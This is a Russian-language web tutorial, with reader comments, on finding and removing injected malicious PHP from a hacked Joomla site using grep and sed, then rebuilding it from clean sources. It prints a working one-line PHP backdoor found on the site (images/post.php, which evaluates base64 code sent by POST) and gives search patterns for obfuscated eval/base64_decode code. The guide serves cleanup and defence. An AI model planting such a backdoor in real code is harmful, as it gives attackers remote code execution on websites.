Как удалить вредоносный код с сайта Joomla
Поиск зараженных файлов
Если у вас есть доступ к сайту по SSH, вы можете найти файлы с инжектированным кодом выполнением следующих команд:
#grep -lr --include=*.php "eval(base64_decode" /pathWebroot #grep -lr --include=*.php "strrev(" /pathWebroot
Если доступа нет, можете попросить службу поддержки хостинга сделать это за вас и выслать вам отчет.
Вот пример листинга:
./components/com_wrapper/wrapper.php ./components/com_wrapper/controller.php ./components/com_wrapper/router.php ./components/com_wrapper/views/wrapper/view.html.php ./components/com_banners/models/banner.php ./components/com_banners/models/banners.php ./components/com_banners/controller.php ./components/com_banners/router.php ./components/com_finder/views/search/view.html.php ./components/com_finder/helpers/route.php ./components/com_finder/helpers/html/filter.php ./components/com_finder/helpers/html/query.php ./components/com_finder/controllers/suggestions.json.php ./components/com_jshopping/tables/productfiles.php ./components/com_jshopping/tables/statictext.php ./components/com_jshopping/tables/country.php ./components/com_jshopping/tables/productlabel.php ./components/com_jshopping/tables/shippingext.php .... ./administrator/components/com_jshopping/controllers/orderstatus.php ./administrator/components/com_jshopping/controllers/shippingsprices.php ./administrator/components/com_jshopping/controllers/vendors.php ./administrator/components/com_jshopping/controllers/productlabels.php ./administrator/components/com_jshopping/controllers/categories.php ./administrator/components/com_cache/cache.php ./administrator/components/com_cache/models/cache.php ./administrator/components/com_cache/controller.php ./administrator/components/com_cache/views/purge/view.html.php ./administrator/components/com_cache/views/cache/view.html.php ./administrator/components/com_cache/helpers/cache.php ./administrator/components/com_content/tables/featured.php
Итого 1606 вхождений. Это практически все PHP файлы. Удалять инжектированный код вручную бесполезно. На это уйдет слишком много времени. Обнаружен и новый файл images/post.php для исполнения любого кода.
<?php if ($_POST["рhp"]) {eval(base64_decode($_POST["php"]));exit;} ?>
Удаление вредоносного кода из зараженных файлов
Сначала необходимо сделать полную резервную копию сайта на тот случай, если что-то пойдет не так.
Если вам очень важна немедленная работоспособность вашего сайта, вы можете удалить инжектированный код выполнив простые команды.
#grep -lr --include=*.php "eval(base64_decode" /pathWebroot | xargs sed -i.bak 's/eval(base64_decode[^;]*;//' #grep -lr --include=*.php "strrev(" /pathWebroot | xargs sed -i._bak 's/$_ = strrev([^;]*; @$_([^;]*;//'
Команды удалят все вхождения подобного вредоносного кода из файлов и сделает их резервные копии с расширением .bak. Это позволит вам только выиграть время для осуществления полного восстановления сайта, но не избавит вас от последующих атак. Следует понимать, что высока вероятность наличия файлов, типа images/post.php описанного выше, для исполнения любого кода и старые дыры в установленных расширениях.
Сторонние расширения
Если вас не лишили административной панели сайта, вы можете посмотреть установленные компоненты, модули, плагины и шаблоны. Если доступа нет, необходимо просмотреть содержимое сайта подключившись по FTP или SSH.
Смотрим список модулей
#ls ./modules index.html mod_banners mod_login mod_users_latest mod_articles_archive mod_breadcrumbs mod_menu mod_weblinks mod_articles_categories mod_custom mod_random_image mod_whosonline mod_articles_category mod_feed mod_related_items mod_wrapper mod_articles_latest mod_finder mod_search mod_articles_news mod_footer mod_stats mod_articles_popular mod_languages mod_syndicate #ls ./administrator/modules index.html mod_latest mod_menu mod_quickicon mod_title mod_custom mod_logged mod_multilangstatus mod_status mod_toolbar mod_feed mod_login mod_popular mod_submenu mod_version
Используются только стандартные модули Joomla
Смотрим список компонентов
#ls ./components com_banners com_finder com_media com_search com_wrapper com_contact com_jshopping com_newsfeeds com_users index.html com_content com_mailto com_phocapdf com_weblinks #ls ./administrator/components com_admin com_config com_installer com_media com_phocapdf com_users com_banners com_contact com_joomlaupdate com_menus com_plugins com_weblinks com_cache com_content com_jshopping com_messages com_redirect index.html com_categories com_cpanel com_languages com_modules com_search com_checkin com_finder com_login com_newsfeeds com_templates
Кроме стандартных компонентов используются com_jshopping и com_phocapdf.
Смотрим список плагинов
#ls ./plugins authentication content editors-xtd finder phocapdf search user captcha editors extension index.html quickicon system
Кроме того, необходимо просмотреть содержимое всех этих папок. Они представляют собою группы плагинов.
#ls ./plugins/authentication gmail index.html joomla ldap #ls ./plugins/captcha index.html recaptcha #ls ./plugins/content emailcloak geshi joomla pagebreak rokbox finder index.html loadmodule pagenavigation vote #ls ./plugins/editors codemirror index.html none tinymce #ls ./plugins/editors-xtd article image index.html pagebreak readmore #ls ./plugins/extension index.html joomla #ls ./plugins/finder categories contacts content index.html newsfeeds weblinks #ls ./plugins/quickicon extensionupdate index.html joomlaupdate #ls ./plugins/search categories contacts content index.html newsfeeds weblinks #ls ./plugins/system cache highlight languagecode log p3p remember sef debug index.html languagefilter logout redirect rokbox #ls ./plugins/user contactcreator index.html joomla profile
Кроме стандартных плагинов используется плагин phocapdf.
Смотрим список шаблонов
#ls ./templates atomic beez_20 beez5 index.html system templ1
Кроме стандартных шаблонов используется templ1.
Восстановление зараженного сайта
CMS Joomla
- Скачиваем дистрибутив последнего релиза, распаковываем архив в директорию будущего сайта и удаляем из нее директорию installation.
- Переименовываем файл htaccess.txt в .htaccess. Если в нем использовались директивы записанные вами, перенесите их из зараженной копии.
- Копируем файл configuration.php из зараженной копии, предварительно просмотрев на отсутствие в нем инжектированного кода.
Сторонние расширения
- Находим используемые сторонние компоненты Phoca PDF, JoomShopping, плагин "Phoca PDF Content Plugin", скачиваем.
- Распаковываем и копируем файлы, предварительно создав структуру директорий как у зараженной копии. Не забываем про файлы локализации.
Немного сложнее обстоит дело с шаблоном. Шаблон сгенерирован специальным программным обеспечением и найти его не представляется возможным. Придется "выковыривать из него все ненужное".
К счастью, в шаблоне присутствует 21 PHP файл и весь инжектированный код был удален командой#grep -lr --include=*.php "strrev(" /pathWebroot | xargs sed -i._bak 's/$_ = strrev([^;]*; @$_([^;]*;//'
Собственные файлы
- Создайте каталоги, в которых вы держали изображения, документы и прочие файлы и скопируйте их.
Сайт должен начать работать сразу, как только вы замените старое содержимое новым.
Зайдите в административную панель сайта, замените имя пользователя и пароль доступа к CMS и посмотрите, не заменен ли e-mail SuperUsers (злоумышленник может воспользоваться функцией восстановления забытого пароля). Никогда не используйте стандартное имя пользователя admin. Внимательно посмотрите права всех пользователей. Не исключена возможность заведения злоумышленником еще одного администратора.
Замените имя пользователя, пароль к базе данных MySQL, если используется стандартный префикс таблиц базы данных jos_ необходимо его заменить другим, это предотвратит вероятность атаки SQL инъекциями.
По окончанию восстановительных работ установите плагин BotsGo404.
Если эта статья показалась вам полезной, пожалуйста, проголосуйте за нее. Это поможет другим быстрее найти эту статью из множества других менее полезных.
( 47 Голосов )
Комментарии
подскажите, пожалуйста, при выполнении команды
#grep -lr --include=*.php "strrev(" /pathWebroot
выдается
/libraries/simplepie/simplepie.php
/libraries/phputf8/strrev.php
/libraries/joomla/utilities/string.php
просмотрев эти файлы и сравнив их с теми, что входят в стандартный пакет Joomla, я ничего такого не заметила, попробовала их просто перезаписать, но при проверке они вновь выдаются... Помогите понять что вообще выявляет эта команда, что надо искать и исправить в указанных файлах? Спасибо.
'bas'.'e64'.'_dec'.'ode'
и обычным поиском не найти, я написал регулярное выеражения для поиска , к пример через total командер:
+('|"|\.)*[a]+('|"|\.)*+('|"|\.)*[e]+('|"|\.)*[6]+('|"|\.)*[4]+('|"|\.)*[_]+('|"|\.)*[d]+('|"|\.)*
Всем кому будет полезно - пользуйтесь, мне не жалко.
RSS лента комментариев этой записи